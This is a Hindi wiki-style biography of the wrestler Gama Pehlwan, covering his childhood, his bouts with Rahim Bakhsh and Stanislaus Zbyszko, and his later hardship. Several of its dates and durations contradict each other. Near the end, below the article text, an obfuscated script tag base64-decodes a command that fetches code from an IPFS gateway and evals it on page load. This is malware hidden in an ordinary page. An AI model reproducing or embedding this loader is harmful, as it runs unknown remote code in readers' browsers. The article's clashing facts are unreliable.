गामा पहलवान

भारत डिस्कवरी प्रस्तुति
आदित्य चौधरी (चर्चा | योगदान) द्वारा परिवर्तित 14:52, 18 अगस्त 2011 का अवतरण (''''गामा''' जन्म का नाम ग़ुलाम मुहम्मद (1880 ईसवी-21 मई 1960)। शा...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

गामा जन्म का नाम ग़ुलाम मुहम्मद (1880 ईसवी-21 मई 1960)। शायद ही कोई ऐसा भारतीय खेल-प्रेमी हो जिसने रुस्तमे-ज़माँ गामा पहलवान का नाम न सुना हो। गामा पहलवान भारत में एक किंवदंती बन चुके है। शारीरिक ताक़त के लिए जिस तरह आजकल दारा सिंह कि मिसाल दी जाती है। इसी तरह कुछ समय पहले तक गामा पहलवान का नाम लिया जाता था। 15 अक्टूबर 1910 में गामा को विश्व हॅवीवेट चैम्पियन शिप (दक्षिण एशिया) में विजेता घोषित किया गया। अपने पहलवानी के दौर में गामा कि उपलब्धियाँ इतनी आश्चर्य जनक एवं अविश्वसनिय है कि साधारणत: लोगों को विश्वास नहीं होता कि गामा पहलवान वास्तव में हुए थे।

अमृतसर पंजाब में पैदा हुए गामा कश्मीरी 'बट' परिवार के पहलवा अज़ीज़ के पुत्र थे। उनका जन्म का नाम ग़ुलाम मुहम्मद था। गामा को शेरे पंजाब, रुस्तम ए ज़मा (विश्व केसरी) और द ग्रेट गामा जैसी उपाधियाँ दी गयीं। गामा विश्व के एक मात्र पहलवान थे जो अपने जीवन में कोई कुश्ती नहीं हारे। गामा ने भारत का नाम पूरे विश्व में ऊँचा किया। 1947 में भारत की स्वतंत्रता के बाद जब पाकिस्तान बना तो गामा पाकिस्तान चले गये। पाकिस्तान के पूर्व प्रधानमंत्री नवाज़ शरीफ़ की शादी गामा पहलवान के भाई कि नातिनी कुलसुम बट से हुई।

प्रारम्भिक जीवन

गामा का जन्म एक कुश्ती-प्रेमी मुस्लिम परिवार में 1880 में हुआ। उनकी रग-रग में कुश्ती का खेल समाया हुआ था। गामा और उनके भाई इमाम-बख्श ने शुरू-शुरू में कुश्ती के दांव-पेच पंजाब के मशहूर पहलवान माधोसिंह से सीखने शुरू किए। दतिया के महाराजा भवानीसिंह ने गामा और उनके छोटे भाई इमामबख़्श को पहलवानी करने कि सुविधायें प्रधान की।

दस वर्ष की उम्र में ही गामा ने जोधपुर राजस्थान में कई पहलवानों के बीच शारीरिक कसरत के प्रदर्शन में भाग लिया और महाराजा जोधपुर ने गामा को इनकी अद्भुत शारीरिक क्षमताओं को देखते हुए पुरस्कृत किया।

कुश्ती के दौर

19 साल के गामा ने तत्कालीन भारत विजेता पहलवान रहीमबख़्श सुल्तानीवाला को चुनौती दे डाली। रहीमबख़्श गुजरावाला पंजाब, (अब पाकिस्तान में) का रहने वाला कश्मीरी, बट जाति का ही था। कहते है रहीमबख़्श की लम्बाई 7 फीट थी। गामा में शक्ति और फुर्ती अद्वितीय थी लेकिन गामा की लम्बाई 5 फुट 7इंच थी। रहीमबख़्श अपनी पौराण अवस्था में पहुँच चुका था और अपनी पहलवानी के अंतिम की कुश्तियाँ लड़ रहा था। रहीमबख़्श की उम्र का अधिक होना गामा के पक्ष में जाता था।

यह कुश्ती भारत में हुई कुश्तियों में ऐतिहासिक कुश्ती के रूप में जानी जाती हैं। जो घटों तक चली और अंत में बराबर छुटी। अगलीबार जब गामा और रहीमबख़्श की कुश्ती हुई तो गामा ने रहीमबख़्श को हरा दिया था लेकिन गामा कि नाक से खून बहने लगा था और एक कान भी जख़्मी हो गया था।

रहीमबख़्श से अंतिम कुश्ती

रहीमबख़्श (भारत केसरी) को गामा ने अपने पहलवानी के दौर का कुश्ती में सबसे बड़ा चुनौती पूर्ण और शक्तिशाली प्रतिद्वदी माना इंग्लैंड से लौटने के बाद गामा और रहीमबख़्श की कुश्ती इलाहाबाद में हुई यह कुश्ती भी काफ़ी देर चली और गामा ने इस कुश्ती को जीतकर रुस्तम ए हिंद का ख़िताब जीता।

इंग्लैंड की यात्रा

रहीमबख़्श सुल्लतानीवाला को छोड़ कर, जिससे कि गामा कि कुश्ती बराबर छुटी थी, गामा ने भारत के सभी पहलवानों को हरा दिया।

यह सन 1910 का दौर था। अपने भाई इमामबख़्श के साथ गामा इंग्लैंड गये और वहाँ एक खुली चुनौती इंग्लैंड के पहलवानों को दे डाली। यह चुनौती इंग्लैंड के पहलवानो को एक धोके जैसी लगी जिसमें गामा ने मात्र 30 मिनट में 3 पहलवानो को हराने की बात कहीं थी जिसमें कोई भी पहलवान गामा से कुश्ती लड़ सकता था चाहे वो शारीरिक आकार और वज़न का हो। जब इस चुनौती को स्वीकार करके कोई गामा से लड़ने नहीं आया तो गामा ने स्टेनिस्लस ज़िबेस्को और फ़्रॅन्क गॉश को चुनोती दी। यह चुनौती अमेरिका के पहलवान बेनजामिन रोलर ने स्वीकार की गामा ने रोलर को 1 मिनट 40 सेकेण्ड में पछाड़ दिया गामा और रोलर की दुवारा कुश्ती हुई जिसमें रोलर 9 मिनट 10 सेकेण्ड ही टिक सका।


1910 के आसपास गामा का नाम एकाएक दुनिया के सामने आया। 1910 की बात है, उस समय गामा की उम्र लगभग तीस वर्ष की थी। बंगाल के एक लखपति सेठ शरद कुमार मित्र कुछ भारतीय पहलवानों को इंग्लैड ले गए थे। उस समय लन्दन में विश्व दंगल का आयोजन हो रहा था। इसमें इमामबख्श, अहमदबख्श और गामा ने भारत का प्रतिनिधित्व किया। गामा का कद साढ़े पाँच फुट और वज़न 200 पौंड के लगभग था। लन्दन के आयोजकों ने गामा का नाम उम्मीदवारों की सूची में नहीं रखा। गामा के स्वाभिमान को बहुत ठेस पहुँची। उन्होंने एक थिएटर कम्पनी में जाकर दुनिया भर के पहलवानों को चुनौती देते हुए कहा कि जो पहलवान अखाड़े में मेरे सामने पाँच मिनट तक टिक जाएगा। उसे पाँच पौंड नकद दिया जाएगा। पहले कई छोटे-मोटे पहलवान गामा से लड़ने को तैयार हुए। गामा ने पहले अमेरिकी पहलवान रोलर को हराया और इमामबख्श ने स्विट्ज़रलैंड के कोनोली और जान लैम को मिनटों और सैकिंडों में चित कर दिया। इस पर विदेशी पहलवानों और दंगल के आयोजकों के कान खड़े हुए और उन्होंने गामा को सीधे विश्व विजेता स्टेनली जिबिस्को से लड़ने को कह दिया। 12 दिसम्बर, 1910 के ऐतिहासिक दिन गामा और जिबिस्को की कुश्ती हुई। जिबिस्को गामा के मुकाबले बहुत लम्बा और भारी-भरकम पहलवान था। यह कुश्ती 2 घटें 40 मिनट तक चली। गामा ने पोलैण्ड के इस पहलवान को इतना थका दिया कि वह हांफने लगा। जब ने जिबिस्को को नीचे पटका तो वह अपने बचाव के लिए लेट गया। उसका शरीर इतना वज़नी था कि गामा उसे उठा नहीं सके। इस पर भी जब हार-जीत का फैसला न हो सका तो कुश्ती को अनिर्णीत घोषित किया गया और फैसले के लिए दूसरे दिन की तारीख तय की गई। दूसरे दिन जिबिस्को डर के मारे मैदान में ही नहीं आया। दंगल के आयोजक जिबिस्को की खोजबीन करने लगे, लेकिन वह न जाने कहाँ छिप गया और इस प्रकार गामा को विश्व-विजयी घोषित किया गया। उसके बाद 28 जनवरी, 1928 को फिर पटियाला में इन दोनों पहलवानों की कुश्ती का आयोजन किया गया। इस बार गामा ने केवल ढाई मिनट में ही जिबिस्को को पछाड़ दिया। गामा की विजय के बाद पटियाला के महाराजा ने गामा को आधा मन भारी चाँदी की गुर्ज और 20 हज़ार रुपये नकद इनाम दिया था। देश के विभाजन के बाद गामा भारत छोड़कर पाकिस्तान चले गए थे। रुस्तमे-ज़मां के आखिरी दिन बड़े कष्ट और मुसीबत में गुज़रे। रावी नदी के किनारे इस अजेय पुरुष को एक छोटी-सी भ्कोंपड़ी बनाकर रहना पड़ा। अपनी अमुल्य यादगारों सोने सोने और चाँदी के तमगे बेच-बेचकर अपनी ज़िन्दगी के आखिरी दिन गुज़ारने पड़े। वह हमेशा बीमार रहने लगे। उनकी बीमारी की खबर पाकर भारतवासियों का दु:खी होना स्वाभाविक ही था। महराजा पटियाला और बिड़ला बन्धुओं ने उनकी सहायता के लिए धनराशि भेजनी शुरू की। लेकिन तब तक बहुत देर हो चुकी थी। 22 मई, 1960 को रुस्ममे-ज़मां गामा मृत्यु से हार गए। गामा मर कर भी अमर है। भरतीय कुश्ती-कला की विजय पताका को विश्व में फहराने का श्रेय केवल गामा को ही प्राप्त है।






स्टेनिस्लस ज़िबेस्को से कुश्ती

10 सितम्बर 1910 को गामा और स्टेनिस्लस ज़िबेस्को की कुश्ती हुई। इस कुश्ती में मशहूर जॉन, बुल ब्लैट और 250 पाउड का इनाम रखा गया। 1 मिनट से भी कम समय में गामा ने स्टेनिस्लस ज़िबेस्को को नीचे दबा लिया ज़िबेस्को आकार में और वज़न में गामा से बड़ा था इसलिए 2 घण्टे 35 मिनट की कोशिस के बाबजूद भी पेट के बल लेटा हुआ ज़िबेस्को गामा से चित्त नहीं हो पाया। 17 सितम्बर 1910 को दुवारा दोनों के बीच कुश्ती की घोषणा हुई लेकिन निश्चित तिथि और समय पर ज़िबेस्को गामा का सामना करने नहीं पहुँचा। गामा को विजेता घोषित कर दिया गया और इनाम की राशि के साथ ही जॉन बुल ब्लैट वैल्ट भी को दे दी गई इसके बाद गामा की उपाधि रुस्तम ए ज़मा, विश्वकेसरी अथवा विश्व विजेता हो गयी।


इस यात्रा के दौरान गामा ने अनेक पहलवानों को धूल चटाई जिनमें बेन्जामिन रॉलर (सं.रा. अमरीका), मॉरिस देरिज़ (फ़्रांस) जोहान लेम (स्विटज़रलॅण्ड का यूरोप विजेता) और जॅसी पीटरसन (स्वीडन का विश्व विजेता)। रॉलर से कुश्ती में गामा ने उसे 15 मिनट में 13 बार फेंका।

इसके बाद गामा ने खुली चुनौती दी कि जो भी किसी भी कुश्ती में ख़ुद को विश्वविजेता कहता हो वो गामा से दो-दो हाथा आज़मा सकता है। जिसमें जापान का जूडो पहलवान तारो मियाकी, रूस का जॉर्ज हॅकेन्शमित, अमरीका का फ़ॅन्क गॉश शामिल थे। किसी की हिम्मत सामने आने की नहीं हुई।

इसके बाद गामा ने कहा कि वो एक के बाद एक लगातार बीस पहलवानों से लड़ेगा और इनाम भी देगा लेकिन कोई सामने नहीं आया।


स्टेनिस्लस ज़िबेस्को से अंतिम कुश्ती

रहीमबख़्श सुल्ल्तानीवाला को हराने के बाद गामा ने भारत के मशहूर पहलवान पं. बिदू को 1916 में हराया। इंग्लैंड के प्रिंस ऑफ वेल्स ने 1922 में भारत की यात्रा के दोराना गामा को चाँदी की बेश किमती गद्दा (ग़ुर्ज) प्रदान की। 1927 तक गामा को किसी ने चुनौती नहीं दी 1928 में गामा का मुकाबला पटियाला में एक बार फिर ज़िबेस्को से हुआ 42 सेकेण्ड में गामा ने ज़िबेस्को को धूल चटा दी और दक्षिण एशिया के महान पहलवान की उपाधि धारण की 1929 के फरवरी के महिने में गामा ने जैसे जेसी पिटर सन को डेड मिनट में पछाड़ दिया। इसके बाद 1952 में अपने पहलवानी जीवन तक अवकाश लेने तक गामा को किसी ने चुनौती नहीं दी गामा अपने पहलवानी करियल में अजेय रहे जो किसी भी पहलवान के लिए आज भी असम्भव है यह गुण गामा को विश्व का महानतम पहलवान के दर्जे में ले आता है।

जीवन का अंतिम दौर

1947 में भारत के बटवारे के समय गामा पाकिस्तान चले गये वहाँ अपने भाई इमामबख़्श के साथ और अपने भतीजों के साथ रहे आज भी पटियाला में अपना शेष जीवन बिताया आज भी पटियाला में नेशनल इस्टीटूयट ऑफ़ स्पोस्ट में उनके कसरत करने का उपकरण रखा हुआ है यह एक पत्थर का गोल चक्का है जिसको गले में पहने के गामा बैठक लगाया करते थे जिसका वजन 95 किलो है।






<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख